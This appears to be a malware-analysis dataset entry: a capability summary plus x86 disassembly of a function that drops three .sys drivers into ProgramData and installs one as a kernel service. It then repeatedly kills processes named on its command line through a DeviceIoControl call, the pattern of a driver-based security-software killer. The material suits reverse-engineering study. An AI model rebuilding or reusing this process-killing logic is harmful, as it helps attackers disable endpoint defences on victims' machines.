Function at 0x401040
Capabilities:
Check if file exists
Create service
Enumerate processes
Get file attributes
Query service status
Start service
Terminate process
Terminate process by name
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x174
mov eax, dword [0x41b004]
xor eax, esp
mov dword [esp + 0x170], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:_ProgramData_fildds.sys
mov dword [esp + 0x14], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x401083
test cl, 0x10
je 0x4010ce
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:_ProgramData_fildds.sys
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401568
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0xbd08
push 0x41b8b0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:_ProgramData_filnk.sys
call edi
cmp eax, 0xffffffff
je 0x4010de
test al, 0x10
je 0x401129
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:_ProgramData_filnk.sys
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40154c
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0xd5f08
push 0x4275b8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:_ProgramData_filwfp.sys
call edi
cmp eax, 0xffffffff
je 0x401139
test al, 0x10
je 0x401184
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:_ProgramData_filwfp.sys
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40154c
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0xd108
push 0x4fd4c0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4011f3
push str.___Sucessfully_opened_service_manager__n
call fcn.00401010
add esp, 4
push 0xf01ff
push 0x419b64
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x401237
push str.___Service_already_exists__n
call fcn.00401010
add esp, 4
lea eax, [esp + 0x34]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40120f
push str.____Failed_to_query_service_status__n
call fcn.00401010
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_load_driver:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [esp + 0x38], 1
jne 0x4012b8
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401230
push str.____Failed_to_start_service__n
jmp 0x4011df
push str.___Starting_service..._n
jmp 0x4012b0
push str.___Creating_service..._n
call fcn.00401010
add esp, 4
push 0
push 0
push 0
push 0
push 0
push str.C:_ProgramData_fildds.sys
push 0
push 3
push 1
push 0xf01ff
push 0x419b64
push 0x419b64
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x401281
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4011f3
push str.___Service_created_successfully__n
call fcn.00401010
push str.___Starting_service..._n
call fcn.00401010
add esp, 8
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4011e7
push str.___Service_was_successfully_started__n
call fcn.00401010
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push 4
push 3
push 0
push 0
push 0xc0000000
push str.._filddsapi
call ebx
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x4012fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_open_driver_handle:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [ebp + 8]
cmp ebx, 1
jle 0x40132d
mov esi, 1
nop dword [eax + eax]
mov eax, dword [esp + 0x10]
lea edi, [eax + esi*4]
inc esi
push 0x419a94
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401342
cmp esi, ebx
jl 0x401310
push str.____Error__Use__p_arg_to_set_list_of_processes__n
call fcn.00401010
add esp, 4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp esi, ebx
jge 0x40132d
mov esi, dword [edi + 4]
test esi, esi
je 0x40132d
mov cl, byte [esi]
mov ebx, 1
mov dword [esp + 0x10], ebx
mov edx, esi
test cl, cl
je 0x401378
nop
cmp cl, 0x2c
lea edx, [edx + 1]
mov cl, byte [edx]
lea eax, [ebx + 1]
cmovne eax, ebx
mov ebx, eax
test cl, cl
jne 0x401360
mov dword [esp + 0x10], eax
push 4
push ebx
call fcn.004043d0
mov dl, byte [esi]
add esp, 8
mov dword [esp + 0x20], eax
mov ecx, eax
mov edi, esi
test dl, dl
je 0x4013a5
cmp dl, 0x2c
jne 0x40139b
add ecx, 4
jmp 0x40139d
inc dword [ecx]
mov dl, byte [edi + 1]
inc edi
test dl, dl
jne 0x401391
xor ecx, ecx
mov eax, ebx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004062fd
mov edi, eax
xor edx, edx
mov eax, dword [esp + 0x24]
push 4
mov dword [esp + 0x1c], edi
mov ecx, dword [eax]
lea ebx, [eax + 4]
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call fcn.004043d0
mov dword [edi], eax
add esp, 0xc
mov cl, byte [esi]
add edi, 4
test cl, cl
je 0x401423
nop
cmp cl, 0x2c
jne 0x401418
mov eax, dword [ebx]
xor ecx, ecx
add eax, 1
push 4
setb cl
add ebx, 4
neg ecx
or ecx, eax
push ecx
call fcn.004043d0
add esp, 8
mov dword [edi], eax
add edi, 4
jmp 0x40141b
mov byte [eax], cl
inc eax
mov cl, byte [esi + 1]
inc esi
test cl, cl
jne 0x4013f0
push dword [esp + 0x20]
call fcn.004062e2
mov ebx, dword [esp + 0x14]
add esp, 4
mov edi, dword [esp + 0x14]
xor eax, eax
test ebx, ebx
jle 0x401460
nop dword [eax]
push dword [edi + eax*4]
lea esi, [eax + 1]
push esi
push str._t__d___s_n
call fcn.00401010
mov eax, esi
add esp, 0xc
cmp eax, ebx
jl 0x401440
nop word [eax + eax]
xor eax, eax
mov dword [esp + 0x20], eax
test ebx, ebx
jle 0x40153b
nop
mov ebx, dword [edi + eax*4]
lea eax, [edi + eax*4]
xor edi, edi
mov dword [esp + 0x18], eax
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401522
lea eax, [esp + 0x50]
mov dword [esp + 0x50], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4014d5
lea eax, [esp + 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4014d1
lea eax, [esp + 0x50]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4014a8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401522
mov edi, dword [esp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x401522
mov eax, dword [esp + 0x18]
push edi
push dword [eax]
push str.___Found__s_PID:__ld_n
call fcn.00401010
push str.___Killing._n
call fcn.00401010
add esp, 0x10
mov dword [esp + 0x28], edi
lea eax, [esp + 0x24]
push 0
push eax
push 0xc
lea eax, [esp + 0x34]
push eax
push 0xc
push eax
push 0x80112053
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x10]
inc eax
mov edi, dword [esp + 0x14]
mov dword [esp + 0x20], eax
cmp eax, ebx
jl 0x401470
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x14]
jmp 0x401460
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_write_help_files_for_driver:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_write_driver_bytes:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]